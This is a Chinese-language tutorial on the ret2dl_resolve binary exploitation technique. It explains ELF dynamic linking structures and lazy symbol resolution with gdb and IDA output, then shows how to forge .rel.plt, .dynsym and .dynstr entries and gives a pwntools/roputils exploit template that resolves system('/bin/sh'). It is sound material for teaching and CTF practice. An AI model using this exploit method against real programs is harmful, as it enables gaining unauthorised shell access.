ret2dl_resolve

re2dl_resolve

首先来看几个用到的数据结构
link_map

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
struct link_map {
Elf32_Addr l_addr;
char *l_name;
Elf32_Dyn *l_ld;
struct link_map *l_next;
struct link_map *l_prev;
struct link_map *l_real;
Lmid_t l_ns;
struct libname_list *l_libname;
Elf32_Dyn *l_info[76];
const Elf32_Phdr *l_phdr;
Elf32_Addr l_entry;
Elf32_Half l_phnum;
... ...
}

.dynmic结构

1
2
3
4
5
6
7
8
typedef struct {
Elf32_Sword d_tag;
union {
Elf32_Word d_val;
Elf32_Addr d_ptr;
} d_un;
} Elf32_Dyn;
extern Elf32_Dyn_DYNAMIC[];

.rel.plt 结构

1
2
3
4
5
6
7
8
9
10
typedef struct {
Elf32_Addr r_offset;
Elf32_Word r_info;
} Elf32_Rel;

typedef struct {
Elf32_Addr r_offset;
Elf32_Word r_info;
Elf32_Sword r_addend;
} Elf32_Rela;

.dynsym结构

1
2
3
4
5
6
7
8
9
typedef struct
{
Elf32_Word st_name; /* Symbol name (string tbl index) */
Elf32_Addr st_value; /* Symbol value */
Elf32_Word st_size; /* Symbol size */
unsigned char st_info; /* Symbol type and binding */
unsigned char st_other; /* Symbol visibility under glibc>=2.2 */
Elf32_Section st_shndx; /* Section index */
} Elf32_Sym;

以上的数据结构在程序解析的时候的作用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
l 是link_map 的地址,gdb 查看link_map 的结构
gdb-peda$ p *l
$8 = {
l_addr = 0x0,
l_name = 0xf7ffdc04 "",
l_ld = 0x8046194,
l_next = 0xf7ffdc08,
l_prev = 0x0,
l_real = 0xf7ffd918,
l_ns = 0x0,
l_libname = 0xf7ffdbf8,
l_info = {0x0, 0x804619c, 0x804620c, 0x8046204, 0x0, 0x80461dc, 0x80461e4, 0x0, 0x0, 0x0, 0x80461ec, 0x80461f4, 0x80461a4, 0x80461ac, 0x0...},
在IDA 中 查看 .dynamic 的数据结构
LOAD:080461DC Elf32_Dyn <5, <8046284h>> ; DT_STRTAB
LOAD:080461E4 Elf32_Dyn <6, <8047328h>> ; DT_SYMTAB

dynamic 中的地址对应着 link_map 中l_info 相应的指针,可从link_map 取到dynamic 结构中.rel.plt .dynsym .dynstr对应的指针,为后来程序的执行提供各个节的基地址
pwndbg> p/x *(Elf32_Dyn*)0x80461e4
$3 = {
d_tag = 0x6,
d_un = {
d_val = 0x8047328, #0x8047328对应 DT_SYMTAB
d_ptr = 0x8047328
}
}

pwndbg> p l->l_info[6]
$4 = (Elf32_Dyn *) 0x80461e4

link_map的地址、reloc_offset这两者是传入栈上的数值,通过这个参数可以得到要解析的符号分别在.rel.plt节、.dynsym节对应的地址

1
2
3
4
5
6
7
求得 .dynsym 节的地址
const ElfW(Sym) *const symtab
= (const void *) D_PTR (l, l_info[DT_SYMTAB]);//DT_SYMTAB = 6
const char *strtab = (const void *) D_PTR (l, l_info[DT_STRTAB]);
得到要解析的符号在.rel.plt节上的地址
const PLTREL *const reloc
= (const void *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset);

然后通过 reloc->r_info 来找到 该符号对应的 sym

1
2
通过 reloc 得到要解析的符号在 dynsym 节的地址
const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)];

当找到 sym 后,可以从sym ->st_name 找到对应的 dynstr

1
2
result = _dl_lookup_symbol_x (strtab + e,sym->st_nam l, &sym, l->l_scope,
version, ELF_RTYPE_CLASS_PLT, flags, NULL);

程序执行过程

当要解析 puts 函数的时候

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
► 0x8048454 <main+25>    call   puts@plt <0x8048310>


当call puts的时候,会先进入 puts 函数的plt表,查找是否绑定,如果没有绑定,则调转到dl_runtime_resolve 来解析其地址
gdb-peda$ x/wx 0x804a010
0x804a010: 0x08048316

0x8048310 <puts@plt> jmp dword ptr [_GLOBAL_OFFSET_TABLE_+16] <0x804a010> #0x804a010处的值为0x08048316

0x8048316 <puts@plt+6> push 8 #这里是传入的reloc_offset 参数,也是要伪造的值
0x804831b <puts@plt+11> jmp 0x80482f0

0x80482f0 push dword ptr [_GLOBAL_OFFSET_TABLE_+4] <0x804a004># 这里push 的是 link_map的地址
0x80482f6 jmp dword ptr [0x804a008] <0xf7fee000>

► 0xf7fee000 <_dl_runtime_resolve> push eax
0xf7fee001 <_dl_runtime_resolve+1> push ecx
0xf7fee002 <_dl_runtime_resolve+2> push edx
0xf7fee003 <_dl_runtime_resolve+3> mov edx, dword ptr [esp + 0x10] # 要解析的函数的偏移
0xf7fee007 <_dl_runtime_resolve+7> mov eax, dword ptr [esp + 0xc] # 最后一个入栈的数值,link_map 的地址
0xf7fee00b <_dl_runtime_resolve+11> call _dl_fixup <0xf7fe77e0>
当EIP 为 0xf7fee000 的时候 ,栈上的数据为

gdb-peda$ stack
0000| 0xffffd384 --> 0xf7ffd918 --> 0x0 #link_map 的地址
0004| 0xffffd388 --> 0x8
0008| 0xffffd38c --> 0x8048459 (<main+30>: add esp,0x10)
0012| 0xffffd390 --> 0x8048510 ("hello world")
0016| 0xffffd394 --> 0x0
0020| 0xffffd398 --> 0xf7e4ba50 (<__new_exitfn+16>: add ebx,0x1835b0)
0024| 0xffffd39c --> 0x80484db (<__libc_csu_init+75>: add edi,0x1)
0028| 0xffffd3a0 --> 0x1

gdb-peda$ p/x ((struct link_map*)0xf7ffd918)->l_info
$11 = {0x0, 0x8049f14, 0x8049f84, 0x8049f7c, 0x0, 0x8049f54, 0x8049f5c, 0x0, 0x0, 0x0, 0x8049f64, 0x8049f6c, 0x8049f1c, 0x8049f24, 0x0...}

[22] .dynamic DYNAMIC 08049f14 002f14 0000e8 08 WA 1 0 4

got[0]: 本ELF动态段(.dynamic段)的装载地址
got[1]:本ELF的link_map数据结构描述符地址
got[2]:_dl_runtime_resolve函数的地址

漏洞利用点


当程序执行到 0x8048316的时候,会push 参数进入栈,这个参数是dl_runtime_resolve的第二个参数reloc_arg

1
2
3
4
5
_dl_fixup (
# ifdef ELF_MACHINE_RUNTIME_FIXUP_ARGS
ELF_MACHINE_RUNTIME_FIXUP_ARGS,
# endif
struct link_map *l, ElfW(Word) reloc_arg)

通过这个参数可以找到要解析的符号在.rel.plt段的地址

1
2
const PLTREL *const reloc
= (const void *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset);

所以 reloc 是可以伪造的,而之后对该符号最终在dynstr上的解析是依赖与reloc的,依次伪造.dynsym .dynstr段便可以得到最终要解析的符号的名称的地址,以达到攻击的目的。

利用方案


我们要分别伪造 .rel.plt .dynsym .dynstr 三个表

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
.rel.plt 
00000000 Elf32_Rel struc ; (sizeof=0x8, align=0x4, copyof_2)
00000000 ; XREF: LOAD:080482AC/r
00000000 ; LOAD:080482B4/r ...
00000000 r_offset dd ?
00000004 r_info dd ?
00000008 Elf32_Rel ends
.dynsym
00000000 Elf32_Sym struc ; (sizeof=0x10, align=0x4, mappedto_1)
00000000 ; XREF: LOAD:080471F8/r
00000000 ; LOAD:08047208/r ...
00000000 st_name dd ? ; offset (08046284)
00000004 st_value dd ? ; offset (00000000)
00000008 st_size dd ?
0000000C st_info db ?
0000000D st_other db ?
0000000E st_shndx dw ?
00000010 Elf32_Sym ends
.dynstr
LOAD:0804629E aPuts db 'puts',0 ; DATA XREF: LOAD:08047218↓o # 这里要伪造 system

ret2_dl_resolve

payload 构造过程


手动构造

假设获取到的各个节的基地址分别为

1
2
3
4
5
from pwn import *
elf = ELF('./file')
base_rel_plt = elf.get_section_by_name('.rel.plt').header.sh_addr
base_dynsym = elf.get_section_by_name('.dynsym').header.sh_addr
base_dynstr = elf.get_section_by_name('.dynstr').header.sh_addr

假设 伪造的 .rel.plt 表地址从fake_rel_plt 处开始,那么首先要伪造的r_offset的偏移为 reloc_offset = fake_rel_plt - base_rel_plt 并在 fake_rel_plt 处建立新的 .rel.plt 表,
伪造rel.plt表

1
2
3
4
这里主要是伪造r_info的值
align = 0x10 - ((fake_dynsym - base_dynsym)&0xf)
fake_dynsym = align + fake_dynsym
r_info = ((fake_dynsym -base_dynsym)/0x10)<< 8 | 0x7

伪造 dynsym 表

1
2
3
4
这里主要伪造的是 st_name 
base_dynsym: st_name
fake_dynstr 可以任意定义
st_name = fake_dynstr +0x10 - base_dynstr

自动构造模板

exp模板,使用的是roputils

1
2
3
4
5
6
7
8
9
10
11
12
其中 0x80484a0是跳转读的地址
elf = ELF('')
addr_bss = elf.bss()
buf='a'*offset
buf+=p32(0x080484A0)+p32(0x804864B)+p32(0)+p32(addr_bss)+p32(100)
p.send(buf)
buf=rop.string('/bin/sh').ljust(20,'a')
buf+=rop.dl_resolve_data(addr_bss+20,'system').ljust(80,'b')
p.send(buf)
p.recvuntil("ASLR\n")
buf='a'*offset+rop.dl_resolve_call(addr_bss+20,addr_bss)
p.send(buf)

坑点

在自己构造的时候有个version的值,由于我们在一般把表伪造在bss段上,所以rel_offset会比较大,version会出现错误

参考文章